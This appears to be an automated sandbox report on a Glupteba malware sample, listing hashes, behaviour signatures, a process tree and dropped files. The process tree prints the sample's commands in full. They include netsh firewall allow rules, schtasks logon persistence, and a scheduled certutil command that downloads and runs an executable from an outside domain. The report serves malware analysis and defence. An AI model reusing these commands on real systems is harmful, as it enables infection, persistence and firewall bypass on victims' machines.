Analysis

  • max time kernel
    148s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31-08-2024 05:44

General

  • Target

    cc4fecd33a8843267f9841d480fc138a_JaffaCakes118.exe

  • Size

    3.8MB

  • MD5

    cc4fecd33a8843267f9841d480fc138a

  • SHA1

    e5f28d9feef1a8a03d80add7bafc306e24e9c40c

  • SHA256

    74846745333b001821e5641e3f037f5560f5098f4946516f9f0917f193c740e7

  • SHA512

    fe345c8c9d9a9ce5578d57d3430f24788930742de70e9968aaa170c01a405bf58ae01b1010957029d4191f4af8fe3105c2abe26a70cc6f4154e121a9fb2b49ee

  • SSDEEP

    98304:MrdFoOXiSX7PHLQhGQLXtkHBGa0IarlKzRThyNUSAQgQr:MXXiYT8GQLXtib0Hpx

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 21 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\cc4fecd33a8843267f9841d480fc138a_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\cc4fecd33a8843267f9841d480fc138a_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1444
    • C:\Users\Admin\AppData\Local\Temp\cc4fecd33a8843267f9841d480fc138a_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\cc4fecd33a8843267f9841d480fc138a_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4040
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\9c3960131018\9c3960131018.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4760
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\9c3960131018\9c3960131018.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:856
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4216
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:880
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4412
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3668
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://bbistrovantonbb.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2512
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:4564
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:2900
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 4040 -s 684
        3⤵
        • Program crash
        PID:4692
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1444 -s 900
      2⤵
      • Program crash
      PID:4876
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 1444 -ip 1444
    1⤵
      PID:644
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4040 -ip 4040
      1⤵
        PID:2984

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

        Filesize

        1.7MB

        MD5

        13aaafe14eb60d6a718230e82c671d57

        SHA1

        e039dd924d12f264521b8e689426fb7ca95a0a7b

        SHA256

        f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

        SHA512

        ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

      • C:\Windows\rss\csrss.exe

        Filesize

        3.8MB

        MD5

        cc4fecd33a8843267f9841d480fc138a

        SHA1

        e5f28d9feef1a8a03d80add7bafc306e24e9c40c

        SHA256

        74846745333b001821e5641e3f037f5560f5098f4946516f9f0917f193c740e7

        SHA512

        fe345c8c9d9a9ce5578d57d3430f24788930742de70e9968aaa170c01a405bf58ae01b1010957029d4191f4af8fe3105c2abe26a70cc6f4154e121a9fb2b49ee

      • memory/1444-1-0x00000000011B0000-0x0000000001562000-memory.dmp

        Filesize

        3.7MB

      • memory/1444-2-0x0000000001570000-0x0000000001C67000-memory.dmp

        Filesize

        7.0MB

      • memory/1444-3-0x0000000000400000-0x0000000000B11000-memory.dmp

        Filesize

        7.1MB

      • memory/1444-4-0x0000000000400000-0x0000000000D16000-memory.dmp

        Filesize

        9.1MB

      • memory/1444-5-0x0000000001570000-0x0000000001C67000-memory.dmp

        Filesize

        7.0MB

      • memory/1444-6-0x0000000000400000-0x0000000000B11000-memory.dmp

        Filesize

        7.1MB

      • memory/4040-8-0x0000000000400000-0x0000000000D16000-memory.dmp

        Filesize

        9.1MB

      • memory/4040-9-0x0000000000400000-0x0000000000D16000-memory.dmp

        Filesize

        9.1MB

      • memory/4040-10-0x0000000000400000-0x0000000000D16000-memory.dmp

        Filesize

        9.1MB

      • memory/4040-16-0x0000000000400000-0x0000000000D16000-memory.dmp

        Filesize

        9.1MB

      • memory/4412-21-0x0000000000400000-0x0000000000D16000-memory.dmp

        Filesize

        9.1MB

      • memory/4412-22-0x0000000000400000-0x0000000000D16000-memory.dmp

        Filesize

        9.1MB

      • memory/4412-23-0x0000000000400000-0x0000000000D16000-memory.dmp

        Filesize

        9.1MB

      • memory/4412-24-0x0000000000400000-0x0000000000D16000-memory.dmp

        Filesize

        9.1MB

      • memory/4412-25-0x0000000000400000-0x0000000000D16000-memory.dmp

        Filesize

        9.1MB

      • memory/4412-26-0x0000000000400000-0x0000000000D16000-memory.dmp

        Filesize

        9.1MB

      • memory/4412-27-0x0000000000400000-0x0000000000D16000-memory.dmp

        Filesize

        9.1MB

      • memory/4412-28-0x0000000000400000-0x0000000000D16000-memory.dmp

        Filesize

        9.1MB

      • memory/4412-29-0x0000000000400000-0x0000000000D16000-memory.dmp

        Filesize

        9.1MB

      • memory/4412-30-0x0000000000400000-0x0000000000D16000-memory.dmp

        Filesize

        9.1MB

      • memory/4412-31-0x0000000000400000-0x0000000000D16000-memory.dmp

        Filesize

        9.1MB

      • memory/4412-32-0x0000000000400000-0x0000000000D16000-memory.dmp

        Filesize

        9.1MB

      • memory/4412-33-0x0000000000400000-0x0000000000D16000-memory.dmp

        Filesize

        9.1MB

      • memory/4412-34-0x0000000000400000-0x0000000000D16000-memory.dmp

        Filesize

        9.1MB